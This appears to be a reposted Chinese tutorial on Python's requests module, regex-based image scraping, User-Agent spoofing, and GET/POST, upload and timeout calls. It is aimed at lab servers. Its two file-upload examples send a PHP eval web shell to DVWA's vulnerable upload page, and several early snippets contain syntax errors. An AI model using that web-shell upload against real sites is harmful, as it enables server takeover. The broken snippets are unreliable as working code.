python requests模块的使用以及网页信息爬取

news2024/11/16 9:26:52

python requests模块的使用以及网页信息爬取

文章目录

  • python requests模块的使用以及网页信息爬取
  • 网页信息爬取
    • REQUEST模块
      • 模块中的请求方法
      • 请求方法中的参数
      • 响应对象中属性
    • 获取网站中的源代码
    • 获取图片地址
      • 匹配单个字符
      • 匹配一组字符
      • 其他元字符
      • 核心函数
    • 图片下载
  • requests 模块基本用法
      • 模拟浏览器指纹
      • 发送GET 参数
      • 发送post请求参数
      • 文件上传
      • 服务器超时
  • 案例
      • 网页图片爬取
      • requests 模块用法
        • 模拟浏览器指纹
        • 发送get 参数
        • 发送post 参数
        • 文件上传
        • 服务器超时

网页信息爬取

  • 获取网页内容;
  • 从网页内容中提取图片地址;
  • 通过图片地址,将图片下载到本地。

要想实现此功能需要有python模块来实现

REQUEST模块

requests 模块:主要是用来模拟浏览器行为,发送HTTP 请求,并处理HTTP 响应的功能

urllib2模块也可以实现request更接近人类

模块中的请求方法

请求方法说明
requests.get()GET 方法
requests.post()
requests.head()只返回响应头部,没有响应正文。
requests.options()
requests.put()
requests.delete()

请求方法中的参数

参数名字参数含义
url请求URL 地址
headers自定义请求头部
params发送GET 参数
data发送POST 参数
timeout请求延时
files文件上传数据流

响应对象中属性

方法名解释
response.text响应正文(文本方式)
response.content响应正文(二进制)
response.status_code响应状态码
response.url发送请求的URL 地址
response.headers响应头部
response.request.headers请求头部
response.cookiescookie 相关信息

关键字获取的内容信息

在这里插入图片描述

其中值得一提的是user-Agent是浏览器指纹,很多网站是禁止爬虫访问的,我们可以通过修改user-Agent来骗过服务器

获取网站中的源代码

import requests

url=""
headers= {
    "User-Agent":""
} # 自定义浏览器指纹
def get_content(url,headers):
	res = requests.get(url = url,headers = headers) #传入url 和 自定义请求头部修改浏览器指纹
	return  res.content  # 获取网站内容
html = 	get_content(url,headers).decode() #因为是二进制文件需要解码

获取图片地址

想要实现此方法有两种方式

第一种: 正则表达式

想要用到python中的re模块

匹配单个字符

记号说明
.匹配任意单个字符(换行符除外). 表示真正的.
[…x-y…]匹配字符集合里的任意单个字符
[^…x-y…]匹配不在字符组里的任意单个字符
\d匹配任意数字,与[0-9] 同义
\w匹配任意数字、字母、下划线,与[0-9a-zA-Z_] 同义
\s匹配空白字符,与[\r\v\f\t\n] 同义

匹配一组字符

记号说明
字符串匹配字符串值
字符串1|字符串2匹配字符串1或字符串2
*左邻第一个字符出现0 次或无穷次
+左邻第一个字符最少出现1 次或无穷次
?左邻第一个字符出现0 次或1 次
{m,n}左邻第一个字符出现最少m 次最多n 次

其他元字符

记号说明
^匹配字符串的开始 集合取反
$匹配字符串的结尾
\b匹配单词的边界,单词包括\w 中的内容
()对字符串分组
\数字匹配已保存的子组

核心函数

核心函数说明
re.findall()在字符串中查找正则表达式的所有(非覆盖)出现;返回一个匹配对象的列表。
re.match()尝试用正则表达式模式从字符串的开头匹配 如果匹配成功,则返回一个匹配对象 否则返回None
re.search()在字符串中查找正则表达式模式的第一次出现 如果匹配成,则返回一个匹配对象 否则返回None
re.group()使用match 或者search 匹配成功后,返回的匹配对象 可以通过group() 方法获取得匹配内容
re.finditer()和findall() 函数有相同的功能,但返回的不是列表而是迭代器 对于每个匹配,该迭代器返回一个匹配对象
re.split()根据正则表达式中的分隔符把字符分割为一个列表,并返回成功匹配的列表字符串也有类似的方法,但是正则表达式更加灵活
re.sub()把字符串中所有匹配正则表达式的地方换成新的字符串
import re
def get_img_path(html)
	img_path = re.findall(r'style/\w*\.jpg')
    return img_path
img_path=img_path(html)

图片下载

def save_img(img_save_path, img_url):
    with open(img_save_path, "wb") as f:
        f.write(get_html(url = img_url))

img_url = url + img_path
save_img("./images/1.jpg", img_url)

requests 模块基本用法

模拟浏览器指纹

headers= {
    "User-Agent":""
} # 自定义浏览器指纹
request.get(url="http://10.9.47.77/python-spider/",headers=headers) #请求时发送自定义指纹

发送GET 参数

params={
    "student":"xl",
    "age": 22 ,
}
request.get(url="http://10.9.47.77/python-spider/",params=params) #以get方法向服务器发送请求

发送post请求参数

data={
    "student":"xl",
    "age": 22 ,
}
request.post(url=""http://10.9.47.77/python-spider/"",data=data) #以get方法向服务器发送请求

文件上传

headers = {
    "User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
    "Cookie": "security=low; PHPSESSID=378olurk9upvuo9sspecnl46c2"
}

data = {
    "MAX_FILE_SIZE":    "100000",
    "Upload":           "Upload"
}

files = {
    "uploaded": ("2.php",b"<?php @eva1($_REQUEST[777])?>""image/png") 
}
res = requests.post(url ="http://10.4.7.130/dvwa_2.0.1/vulnerabilities/upload/", headers = headers, data = data, files = files)

服务器超时

def timeout(url):
    try:
        res = requests.get(url = url, timeout = 3)
        return res.text
    except requests.exceptions.ReadTimeout:
        return "timeout"

print(timeout("http://10.4.7.130/php/functions/sleep.php"))

案例

网页图片爬取

import requests
import re
def get_html(url):
    headers = {
        "User Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.76"
    }
    return  requests.get(url=url, headers=headers).content
def get_image_path(html):
    image_path_list = re.findall("style/\w*\.jpg",html)
    return image_path_list
def download_image(image_path,url,save_src):
    for  path in image_path:
        src = url + path
        print(f"爬取成功{src}")
        image_name = input("请输入要保存的文件名字:")
        with open(save_src+image_name+".jpg", "wb") as f:
            f.write(get_html(src))

url= input("请输入要爬取的网站:")
html=get_html(url).decode()
image_path=get_image_path(html)
save_src = input("请输入要保存的地址:")
download_image(image_path,url,save_src)

成果:
在这里插入图片描述

requests 模块用法

模拟浏览器指纹

在浏览器开发者模式console面板 输入navigator.userAgent查看浏览器指纹Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.76
在这里插入图片描述

import requests

response = requests.get(url="http://10.9.47.77/python-spider/",headers=
{
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.76"
}
                        )
print(response.request.headers)

结果:
在这里插入图片描述

发送get 参数

找一个能接收get参数的网页

import requests

response = requests.get(url="http://10.9.47.77/works/_GET.php",params={
    "name":"xl",
    "age" : 22,
})
print (response.text)

在这里插入图片描述

发送post 参数
import requests
response = requests.post(url="http://10.9.47.77/works/_POST.php",data={
    "姓名" : "小洛",
    "年龄" :  24,
    "兴趣" : "唱,跳,rap,打篮球"
})
print(response.content.decode("utf-8"))

在这里插入图片描述

文件上传
import requests
file_upload={
    "uploaded":('123.php',"<?php @eval($_REQUEST[777]?>)")
}
headers={
    "cookie":"security=low; PHPSESSID=svckqaulefuns35jkqj9u0ai27"
}
data={
    "MAX_FILE_SIZE":100000,
    "Upload": "Upload"
}
url="http://10.9.47.77/dvwa_2.0.1/vulnerabilities/upload/"
reponse=requests.post(url=url,headers=headers,data=data,files=file_upload)
print(reponse.text)

在这里插入图片描述

服务器超时
import requests
try:
    response=requests.get(url="http://10.9.47.77/works/sleep.php",timeout=2)

except requests.exceptions.ReadTimeout:
    print("超时")
except Exception:
    print("网页无法访问")
else:
    print(response.text)
finally:
    print("脚本执行完成")

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1163785.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

经验总结2023-11-2

axios发起post请求的方式&#xff1a; 要解决跨域问题&#xff0c;后端要加&#xff0c;指定支持的方法是Pos还是get&#xff1a;

leetCode 198.打家劫舍 动态规划入门:从记忆化搜索到递推

leetCode 198.打家劫舍 198. 打家劫舍 - 力扣&#xff08;LeetCode&#xff09; 你是一个专业的小偷&#xff0c;计划偷窃沿街的房屋。每间房内都藏有一定的现金&#xff0c;影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统&#xff0c;如果两间相邻的房屋在同一…

地空智能国产化RTS无线探地雷达

广东地空智能科技有限公司推出的国产RTS无线探地雷达&#xff0c;是国内首款基于实时采样、高叠加技术的无线连接的探地雷达。RTS系列雷达是主机、天线一体化设计&#xff0c;32Bit数据&#xff0c;内部配置WiFi基站&#xff0c;无线传输距离≥100M&#xff0c;1000mAh进口电芯…

十九、类型信息(6)

接口和类型 interface 关键字的一个重要目标就是允许程序员隔离组件&#xff0c;进而降低耦合度。使用接口可以实现这一目标&#xff0c;但是通过类型信息&#xff0c;这种耦合性还是会传播出去——接口并不是对解耦的一种无懈可击的保障。比如我们先写一个接口&#xff1a; …

Java实验二类编程实验

1.编写一个代表三角形的类&#xff08;Triangle.java&#xff09;。 其中&#xff0c;三条边a,b,c&#xff08;数据类型为double类型&#xff09;为三角形的属性&#xff0c;该类封装有求三角形的面积和周长的方法。分别针对三条边为3、4、5和7、8、9的两个三角形进行测试&…

软件测试:postman使用总结

一、为何使用postman postman是一款简单高效的接口测试工具&#xff0c;能够很方便发送接口请求&#xff0c;易于保存接口请求脚本&#xff0c;postman提供接口响应数据比对功能&#xff0c;可以设置预期结果作断言&#xff0c;还能把测试用例放在一个集合中批量执行&#xff…

七月论文审稿GPT第二版:从Meta Nougat、GPT4审稿到mistral、llama longlora

前言 如此前这篇文章《学术论文GPT的源码解读与微调&#xff1a;从chatpaper、gpt_academic到七月论文审稿GPT》中的第三部分所述&#xff0c;对于论文的摘要/总结、对话、翻译、语法检查而言&#xff0c;市面上的学术论文GPT的效果虽暂未有多好&#xff0c;可至少还过得去&am…

图论问题建模和floodfill算法

目录 引入&#xff1a;leetcode695.岛屿的最大面积 分析与转换 一维二维转换 四联通 完整代码解答&#xff1a; 1&#xff09;显示的创建图解决问题的代码 2&#xff09;不显示的创建图解决此问题的代码 floodfill算法 定义 引入&#xff1a;leetcode695.岛屿的最大面…

精准测试:提高软件质量和用户满意度的利器

&#x1f4e2;专注于分享软件测试干货内容&#xff0c;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01;&#x1f4e2;交流讨论&#xff1a;欢迎加入我们一起学习&#xff01;&#x1f4e2;资源分享&#xff1a;耗时200小时精选的「软件测试」资…

c语言练习(9周)(16~20)

输入12个一位整数&#xff0c;创建二维数组a[3][4]&#xff0c;显示二维数组及各列的平均值&#xff0c;平均值四舍五入到小数点后一位。 题干输入12个一位整数&#xff0c;创建二维数组a[3][4]&#xff0c;显示二维数组及各列的平均值&#xff0c;平均值四舍五入到小数点后一…

华为云服务器,在线安装MySQL

需求 在华为云服务器上&#xff0c;部署MySQL数据库&#xff0c;通过 公网IP 访问数据库。 通过 yum &#xff0c;在线安装MySQL&#xff1b;配置远程连接&#xff0c;开放3306端口&#xff0c;能够通过公网访问。 云服务器配置说明 本文所使用的 华为云服务器 配置如下。 …

有关常见的#define定义的函数的陷阱和修正(详解)

一、#define f(x) x*x #include<stdio.h> #define f(x) x*x int main() {int a6,b2,c;cf(a)/f(b);printf("f(a)%d\n",f(a));//6*6printf("f(b)%d\n",f(b));//2*2printf("f(b1)%d\n",f(b1));//21*21; printf("f(b2)%d\n",f(b2))…

如何回答好“测得怎么样了?”

有测试员抱怨开发很糟糕&#xff0c;但我们没办法要求开发在会写代码的同时还要把代码写好&#xff0c;没有过多的bug&#xff0c;因为这就是我们的工作&#xff1b;测试员吐槽自己的老板很较真&#xff0c;但我们没办法拒绝领导们的批评指责&#xff0c;因为批评代表我们还有继…

VFIO的使用及原理

vfio设备透传主要用于将设备直通给虚拟机以提高性能&#xff0c;本篇以一张网卡为例讲述VFIO设备的配置使用及底层原理。其中涉及的技术背景主要有linuxqemukvmvfio。 一、VFIO网卡的配置使用 1.host配置iommu 首先是宿主机host必须支持硬件虚拟化技术&#xff0c;如x86架构…

是谁家班主任还不知道 怎么发布期中成绩啊。

你知道吗&#xff1f;居然还有班主任不知道怎么发布期中成绩&#xff01; 发布成绩并不是一件难事&#xff0c;只需几个步骤&#xff0c;就能轻松搞定&#xff01; 给大家讲一下成绩查询是什么。成绩查询是指学生通过一定的方式&#xff0c;如输入学号、姓名等&#xff0c;在指…

小程序如何设置自动使用物流账号发货

小程序支持自动使用物流账号发货并生成运单号。商家需要与物流公司合作&#xff0c;获取物流账号&#xff0c;支持快递物流和同城外卖配送平台。具体方法请参考公众号之前发布的文章&#xff0c;例如可以搜索“快递账号”。 导入物流账号后&#xff0c;在小程序管理员后台->…

Ansible中的变量及加密

目录 1.变量命名 2.变量级别 3.变量设定和使用方式 在playbook中直接定义变量 在文件中定义变量 使用变量 设定主机变量和清单变量 目录设定变量 用命令覆盖变量 使用数组设定变量 ​编辑 注册变量 事实变量 ​编辑 魔法变量 JINJA2模板 j2模板书写规则 ​编辑 f…

【MySQL】 索引(上)

文章目录 1. 索引的概念2. MySQL与磁盘 的交互基本单位3. 建立共识4. 现象与结论如何理解mysql中page概念为什么 要采用page的方案 进行交互 而不是用多少加载多少&#xff1f; 5. 页目录为什么要引入 页目录概念单页情况多页情况使用B树 构建索引为什么不用其他数据结构为什么…

打造更智能的移动端平台,蚂蚁mPaaS5.0亮相云栖大会

11月2日&#xff0c;在云栖大会上&#xff0c;蚂蚁数科宣布mPaaS正式升级至5.0版本。mPaaS5.0融合了蚂蚁大模型框架下的多种算法能力&#xff0c;以AI智能引擎驱动移动端平台的运营、服务和体验管理实现全链路升级&#xff0c;助力金融机构及企业打造更加智能、更懂用户的移动端…

数据结构与算法:使用数组模拟环形队列Java版

文章目录 如何使用数组模拟队列环形队列逻辑分析自己写的听课笔记实现代码部分方法说明 如何使用数组模拟队列 不知道如何使用数组模拟队列的可以看上一篇文章 使用数组模拟队列点击跳转 环形队列逻辑分析 自己写的听课笔记 实现代码 package com.haimeng.queue;import java…